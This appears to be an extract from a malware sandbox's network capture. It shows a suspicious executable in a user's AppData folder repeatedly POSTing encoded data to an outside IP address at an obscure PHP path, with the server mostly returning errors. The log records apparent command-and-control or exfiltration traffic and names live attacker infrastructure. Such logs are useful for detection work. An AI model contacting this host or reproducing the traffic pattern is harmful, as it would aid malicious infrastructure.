                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            128192.168.2.449871193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:53.900166988 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:54.245815039 CEST2548OUTData Raw: 53 51 54 53 5f 5b 50 5b 59 59 51 58 52 5c 56 53 57 5c 5d 58 5a 50 55 5e 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SQTS_[P[YYQXR\VSW\]XZPU^_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S',&R69 \<=;74"0(=3]4=+2]!< .%#F".[ 4


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            129192.168.2.449872193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:54.315336943 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1884
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:54.668006897 CEST1884OUTData Raw: 56 52 54 57 5f 52 55 58 59 59 51 58 52 5f 56 53 57 5c 5d 5a 5a 5e 55 5d 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VRTW_RUXYYQXR_VSW\]ZZ^U]_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$[8?*W5)%\7!?+=$ 40()+3X#0R%!<7$;%#F".[
                                                            Jul 10, 2024 09:07:54.980336905 CEST1236OUTData Raw: 56 52 54 57 5f 52 55 58 59 59 51 58 52 5f 56 53 57 5c 5d 5a 5a 5e 55 5d 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VRTW_RUXYYQXR_VSW\]ZZ^U]_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$[8?*W5)%\7!?+=$ 40()+3X#0R%!<7$;%#F".[
                                                            Jul 10, 2024 09:07:54.996759892 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:54.997720003 CEST648OUTData Raw: 03 5d 0a 3c 0c 3c 09 1c 38 38 1b 3c 3f 0f 1a 28 04 20 30 1a 27 06 31 5a 3e 10 2b 58 30 54 23 1e 28 31 3f 09 31 2d 5c 05 31 2e 3f 2f 01 56 29 22 39 07 0e 03 38 59 38 02 36 2d 33 57 00 09 05 13 3b 06 28 23 0d 3f 0f 1e 3c 5f 1d 06 38 29 3a 3a 3d 01
                                                            Data Ascii: ]<<88<?( 0'1Z>+X0T#(1?1-\1.?/V)"98Y86-3W;(#?<_8)::=, <6Y7,<Z">4("62[Z""2XQ1099#\02+>%6QP:>>/;1517? #-Z89&+3@Z&)$&9X" 3X0\-%<#X6868R.1;&CV5$424[51);2Z9855 :*>"'Z8>V(7U,
                                                            Jul 10, 2024 09:07:55.309324026 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:54 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            130192.168.2.449873193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:54.444822073 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:54.792891979 CEST2548OUTData Raw: 56 57 54 52 5a 58 50 5a 59 59 51 58 52 59 56 5b 57 54 5d 52 5a 5c 55 5d 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VWTRZXPZYYQXRYV[WT]RZ\U]_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$\/<%!_)"2 )>34'5['8U*?X#.?2F<'3^.%#F".[
                                                            Jul 10, 2024 09:07:54.933274031 CEST1236OUTData Raw: 3d 38 0c 3c 27 28 0f 13 39 2e 27 23 36 2f 33 2d 30 07 0f 05 3b 5d 20 1b 32 04 22 16 03 06 17 23 39 0f 3a 0b 30 2f 5d 16 33 55 5a 18 08 5f 38 21 01 2e 3f 0f 05 38 03 42 30 34 1b 23 0c 3e 51 25 3f 30 0b 09 37 5b 2c 58 3f 3e 39 23 26 29 1c 20 33 42
                                                            Data Ascii: =8<'(9.'#6/3-0;] 2"#9:0/]3UZ_8!.?8B04#>Q%?07[,X?>9#&) 3B+:(Y<:+GS981$8 (&W 64#2[ &%7021,)0]T3$_18(;[Y:03,-!)*'>3$$;&!?'1_S8X4:V"7W 3) '<*1%.V1:3<?>+2
                                                            Jul 10, 2024 09:07:55.105066061 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:55.199009895 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:55 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            131192.168.2.449874193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:55.328985929 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:55.328985929 CEST2548OUTData Raw: 53 52 54 5d 5a 5b 50 5b 59 59 51 58 52 5f 56 52 57 5d 5d 5f 5a 5b 55 59 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SRT]Z[P[YYQXR_VRW]]_Z[UY_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$X,15*!7!?^+7R#$'?;=;0#72(7/#F".[
                                                            Jul 10, 2024 09:07:55.985076904 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:55.991435051 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:55 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            132192.168.2.449875193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:56.135077953 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:56.483124018 CEST2548OUTData Raw: 53 52 54 56 5f 5f 55 5f 59 59 51 58 52 59 56 55 57 50 5d 53 5a 5c 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SRTV__U_YYQXRYVUWP]SZ\U__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$\/?"U!9%7()>+U 3<8)( 4>(2;<4;\/5#F".[
                                                            Jul 10, 2024 09:07:56.829406023 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:56.834541082 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:56 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            133192.168.2.449876193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:56.976813078 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:57.326550007 CEST2548OUTData Raw: 56 51 54 56 5f 5b 50 5b 59 59 51 58 52 5e 56 50 57 5d 5d 53 5a 5f 55 5b 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VQTV_[P[YYQXR^VPW]]SZ_U[_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$.?=6:5 1+^?V7'6$<<(++#=V$8!<7 ,5#F".[ <
                                                            Jul 10, 2024 09:07:57.658544064 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:57.662477016 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:57 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            134192.168.2.449877193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:57.803647041 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:58.152484894 CEST2548OUTData Raw: 56 53 54 53 5a 5f 55 51 59 59 51 58 52 5d 56 5b 57 56 5d 5e 5a 50 55 58 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VSTSZ_UQYYQXR]V[WV]^ZPUX_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$],2!_!^ 8?X;#$-Y'(+44=4U%+.G?/%#F".[ 0
                                                            Jul 10, 2024 09:07:58.471709967 CEST210INHTTP/1.1 100 Continue
                                                            Data Raw: 48 54 54 50 2f 31 2e 30 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 30 20 4a 75 6c 20 32 30 32 34 20 30 37 3a 30 37 3a 35 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a
                                                            Data Ascii: HTTP/1.0 500 Internal Server ErrorDate: Wed, 10 Jul 2024 07:07:58 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            135192.168.2.449878193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:58.594952106 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2544
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:58.949099064 CEST2544OUTData Raw: 56 50 54 51 5f 58 55 59 59 59 51 58 52 58 56 51 57 54 5d 52 5a 58 55 5f 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VPTQ_XUYYYQXRXVQWT]RZXU__R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$X,,S5:5^71$( #%Y$,*8<4'&-?$4;%#F".[ ,
                                                            Jul 10, 2024 09:07:59.263288021 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:07:59.267281055 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:59 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            136192.168.2.449879193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:07:59.394843102 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:07:59.745902061 CEST2548OUTData Raw: 53 57 54 53 5a 58 55 5d 59 59 51 58 52 5f 56 53 57 57 5d 53 5a 5b 55 50 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SWTSZXU]YYQXR_VSWW]SZ[UP_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$;/6T!:=X41'[<=3U =Z'<V>;/Y7.7$++];%#F".[
                                                            Jul 10, 2024 09:08:00.058320045 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:08:00.064439058 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:07:59 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            137192.168.2.449880193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:08:00.209429026 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            138192.168.2.449881193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:08:00.331583977 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 1884
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:08:00.686774969 CEST1884OUTData Raw: 56 50 51 56 5f 53 55 59 59 59 51 58 52 5e 56 5b 57 54 5d 5f 5a 5b 55 51 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VPQV_SUYYYQXR^V[WT]_Z[UQ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S$;/6"% #?;V4')'4W*+3\#=4W2%('[,%#F".[ <
                                                            Jul 10, 2024 09:08:00.998663902 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:08:01.006855011 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:08:00 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            139192.168.2.449882193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:08:00.455050945 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2544
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:08:00.808599949 CEST2544OUTData Raw: 53 51 54 51 5f 53 55 51 59 59 51 58 52 58 56 55 57 51 5d 5a 5a 5b 55 51 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: SQTQ_SUQYYQXRXVUWQ]ZZ[UQ_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'82S5#24<-/ %[$#)+'Z (T$+:C<#;5#F".[ <
                                                            Jul 10, 2024 09:08:01.127835989 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:08:01.273406982 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:08:01 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            140192.168.2.449883193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:08:01.411765099 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:08:01.761523008 CEST2548OUTData Raw: 56 54 54 55 5f 5d 55 59 59 59 51 58 52 5e 56 52 57 5c 5d 52 5a 5c 55 5c 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: VTTU_]UYYYQXR^VRW\]RZ\U\_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'/<!":4+]?>(7$6&<$U=;74=$;:@?8#F".[ <
                                                            Jul 10, 2024 09:08:02.091768026 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:08:02.102780104 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:08:01 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
                                                            Content-Type: text/html; charset=UTF-8


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            141192.168.2.449884193.233.115.185807136C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            TimestampBytes transferredDirectionData
                                                            Jul 10, 2024 09:08:02.236702919 CEST308OUTPOST /Dle0protectTemp/externalprotect/providerimagepolllongpollLinuxGeneratorCdn.php HTTP/1.1
                                                            Content-Type: application/octet-stream
                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
                                                            Host: 193.233.115.185
                                                            Content-Length: 2548
                                                            Expect: 100-continue
                                                            Connection: Keep-Alive
                                                            Jul 10, 2024 09:08:02.589765072 CEST2548OUTData Raw: 56 5c 51 50 5a 5e 55 58 59 59 51 58 52 51 56 54 57 50 5d 53 5a 5c 55 58 5f 52 5d 5f 5a 59 5b 55 59 5e 5e 5d 5c 5c 50 5a 5b 5a 5f 59 56 5c 53 58 50 5a 5d 5f 5e 59 59 51 5d 5f 55 5c 54 5f 54 5d 5c 51 5f 53 54 5f 5e 56 5c 56 58 5b 5a 5c 59 50 50 53
                                                            Data Ascii: V\QPZ^UXYYQXRQVTWP]SZ\UX_R]_ZY[UY^^]\\PZ[Z_YV\SXPZ]_^YYQ]_U\T_T]\Q_ST_^V\VX[Z\YPPSVRWX[EPSXU_Y[TXT\VUZYUXR]ZX[F[_FXR^_P^[Z^_U]AUY[Q]WXY^BPZQZ]XVQUWXP\ZXFA^RPGU]X\Q_U_WQW\PZ[[T_YX\UX^[S'/,.T!)* "]).$ $&<+=##[72?8,5#F".[
                                                            Jul 10, 2024 09:08:02.907936096 CEST25INHTTP/1.1 100 Continue
                                                            Jul 10, 2024 09:08:02.910314083 CEST185INHTTP/1.0 500 Internal Server Error
                                                            Date: Wed, 10 Jul 2024 07:08:02 GMT
                                                            Server: Apache/2.4.41 (Ubuntu)
                                                            Content-Length: 0
                                                            Connection: close
